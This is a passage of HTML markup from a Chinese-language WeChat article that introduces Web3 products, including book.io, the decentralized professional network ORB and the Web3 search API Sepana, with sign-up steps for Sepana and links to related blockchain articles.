style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">collections</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">并从中购买</span></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34281200631911535" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=596c8e6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7vTenX5TLNVnYouWaxWOVEF2kXz3rwZrbA8dk4Skh03QCv6sWQ1ZVdQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">book</span>.io<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的方式在笔者看来是将传统书籍版权、持有、阅读、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">买卖等所有行为转移到</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">平台的一种糅合。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这种糅合对于用户来说无疑增加了使用成本，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但其</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">市场的特性也带来了收益亏损这样的</span><o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">9.从LinkeIn到ORB</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ORB </span>基于 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polygon </span>使用 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens </span>协议构建，是一个具有端到端链上信誉系统的去中心化职业社交媒体应用，可以将公司、项目和用户连接起来。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ORB </span>可以通过将各种 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">POAP </span>与用户经验、教育、技能和项目联系起来，从而创建个人去中心化专业档案并建立链上可信度，以及探索工作机会和申请链上身份，还可以用在链上分享自己的想法，与 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>人士建立联系并构建社区。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">此外，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ORB </span>还允许用户利用碎片化时间通过学习 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>知识来获取 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>，即 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Learn-to-Earn</span>。<o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">10.从Google Search到Sepana</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">Sepana<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">由</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Daniel</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">David Keyes</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">两兄弟创立，旨在通过其搜索工具使</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DAO</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">等</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">内容更容易被发现。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">它的一种方式是通过即将推出的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web3</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">搜索</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，旨在使任何去中心化的应用程序（</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dapp</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">）与它的搜索基础设施集成。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">据其宣传中的一个优势卖点是，区块链和</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">等</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dapp</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">上的数百万次搜索查询是由其工具提供的。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sepana</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">完成了一轮</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">1000</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">万美元的融资，由风险公司</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Hack VC</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Pitango First</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">领投。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这笔资金将用于聘请高级区块链工程师和搜索专家，还将推出一个产品，以培养围绕该产品的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">“</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">搜索社区</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">”</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">从长远来看，该公司希望建立一个完全去中心化的点对点搜索协议。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这种基础设施将有助于在去中心化的应用程序和协议之间建立信息桥梁，以改善搜索结果，把隐私放在首位。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">打开主域名：</span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://sepana.io/" target="_blank">https://sepana.io/</a></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">可以看到<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">sepana</span>已经接入了很多的开发者平台<o:p></o:p></span></section><section style="text-align: justify;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7048145224940805" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=0a158c17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7pHLRdZ8Lv7jX3zJgtibjaliaicHhVUGdLb99BnlCcLwk19y6qrjTAhtPQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;text-align: justify;"> </span><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;text-align: justify;">点击create your engine，登陆账号，注册账号，验证账号需要五分钟左右的时间 </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.388801261829653" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=b075640b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7Vf5p4KTyBSGlG7rbCwfbN3Oic5XXL014RzkGeLMVc4n6eVeHgnkZYVw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">进入到工作台</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39700078926598265" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=dca7c6c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia72ApeY2fEqD6ibjfgB5ia5NUgnIl0PHeJfaH0vYX7ANuGcReLhVJAWGwQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">创建新的</span><span style="color: rgb(84, 84, 84);font-size: 14px;">engine</span>，<span style="color: rgb(84, 84, 84);font-size: 14px;">作为开发者你可以在</span><span style="color: rgb(84, 84, 84);font-size: 14px;">engine</span><span style="color: rgb(84, 84, 84);font-size: 14px;">中设置具体的调用内容以及获取</span><span style="color: rgb(84, 84, 84);font-size: 14px;">API</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;">Keys</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4921011058451817" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=89150a6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7dIiccRgexXakvicNMzmwibDKu1Mla7icHnTeXJRpmZK2ZcRcI8ysDlVUZw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">具体的开发文档请见</span> </span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://docs.sepana.io/sepana-search-api/protocol/p2p-search-network" target="_blank">https://docs.sepana.io/sepana-search-api/protocol/p2p-search-network</a></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4507486209613869" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=895af671&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7o4VEDEjfiaVIBpJ1EjtVRweN8N7IyPta6xruBNkIhtBcRusWTEwXV2g%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sepana</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">严格来说并不是面向普通用户的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">应用，更多的是面向开发者的接口平台，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">它给开发者提供了</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dapp</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">开发中的搜索引擎入口并将</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">应用生态连接起来。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">而用户从这种连接中所获得的便利便是搜索内容的全面性。对于个大项目方来说，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sepana</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">大大减轻了生态环境构建与交流的难度</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">总体来说，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sepana</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是一个优秀的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">搜索引擎集合</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>。</span><o:p></o:p></span></section><section style="text-align: justify;margin: 16px 1em;line-height: 2em;"><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="424" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/1nIZtE7vwhQYk6C02zYsT1h7pBaCYdxMt3H77OhPWbzYgWuercYw6oONRIGMfk5UEGlR6h4RKr9SpTa81BwTNQ/640?wx_fmt=png&#34;) 0% 0% / 115px 13px no-repeat;padding: 0px 8px;width: 115px;height: 13px;text-align: center;overflow: hidden;white-space: nowrap;"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 13px;letter-spacing: 2px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">END</span></p></section></section></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;padding: 10px;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 50%;margin: 10px auto;justify-content: space-around;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="width: 5px;height: 5px;background: none rgb(0, 0, 0);transform: rotate(45deg);" data-w="32" src="https://wechat2rss.xlab.app/img-proxy/?k=18644b2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLE3XmiccRQWexLP8PuoAlVgLTmspUk3E8NibibgicE7TfddBRib2fqiae5wmrc4icDqBlvl9Xh5TPtykeonHeVjiapF3Rg%2F640%3Fwx_fmt%3Dpng"/><p style="font-size: 14px;font-family: PingFangSC-Regular;line-height: 18px;color: rgb(51, 51, 51);opacity: 1;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">往期推荐</span></p><img data-ratio="1" style="width: 5px;height: 5px;background: none rgb(0, 0, 0);transform: rotate(45deg);" data-w="32" src="https://wechat2rss.xlab.app/img-proxy/?k=5ead6cdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJqVCdTtPoSzIHqDRkq3WpFhnlwO0EVdicZIj1vSSQicKHnCtXoKdkjzMhlmUPngjfYt0XvYibS3h3LgwLMvLbxRsg%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 270px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);opacity: 1;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><ul style="display: flex;justify-content: flex-start;flex-direction: column;min-height: 40px;list-style: none;justify-content: space-around;align-items: center;padding: 15px 15px 9px 15px;" data-mid="" mpa-from-tpl="t" class="list-paddingleft-1"><li style="font-size: 14px;font-family: Arial, Helvetica, sans-serif;line-height: 18px;color: rgb(255, 157, 157);opacity: 1;border-bottom: 1px dashed rgb(112, 112, 112);margin-bottom: 15px;"><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247499681&amp;idx=1&amp;sn=0b1461f02c3aeaf11f7a6ce183051706&amp;chksm=c286e0e7f5f169f1dab173c405762bd959eff33a1e1003859955339407789acede899786c5f6&amp;scene=21#wechat_redirect" textvalue="区块链行业发展与趋势（上）" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-family: Arial, Helvetica, sans-serif;"><span style="font-family: Arial, Helvetica, sans-serif;">区块链行业发展与趋势（上）</span></a><br/></p></li><li style="font-size: 14px;font-family: Arial, Helvetica, sans-serif;line-height: 18px;color: rgb(255, 157, 157);opacity: 1;border-bottom: 1px dashed rgb(112, 112, 112);margin-bottom: 15px;"><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e&amp;scene=21#wechat_redirect" textvalue="走进区块链的第一步：钱包服务" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-family: Arial, Helvetica, sans-serif;"><span style="font-family: Arial, Helvetica, sans-serif;">走进区块链的第一步：钱包服务</span></a><br/></p></li><li style="font-size: 14px;font-family: Arial, Helvetica, sans-serif;line-height: 18px;color: rgb(255, 157, 157);opacity: 1;border-bottom: 1px dashed rgb(112, 112, 112);margin-bottom: 15px;"><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee&amp;scene=21#wechat_redirect" textvalue="以太坊标准——EIP712" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-family: Arial, Helvetica, sans-serif;"><span style="font-family: Arial, Helvetica, sans-serif;">以太坊标准——EIP712</span></a></p></li></ul></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;padding: 0 19px 0 0;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: flex-end;" data-mid="" mpa-from-tpl="t"><section style="display: flex;align-self: flex-end;" data-mid="" mpa-from-tpl="t"><section style="width: 15px;height: 17px;display: flex;justify-content: center;align-items: center;flex-shrink: 0;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.1333333333333333" data-w="30" src="https://wechat2rss.xlab.app/img-proxy/?k=84f561a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F62ohV8sfvomiaY1IRBl5iaibMBeAfsywLh7bGcpJwElbUkmR38zItWQ9brgicBEsd4CrkvBEJ8w9sKgjPBxySyHZaA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;padding: 0 0 0 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 22px;word-break: break-word;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">点个<span style="font-weight: bold;padding: 0px 5px;" data-mid="">在看</span>你最好看</span></p></section></section><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 12px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgba(51, 51, 51, 0.15);line-height: 17px;word-break: break-word;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">CLICK TO SEE YOU 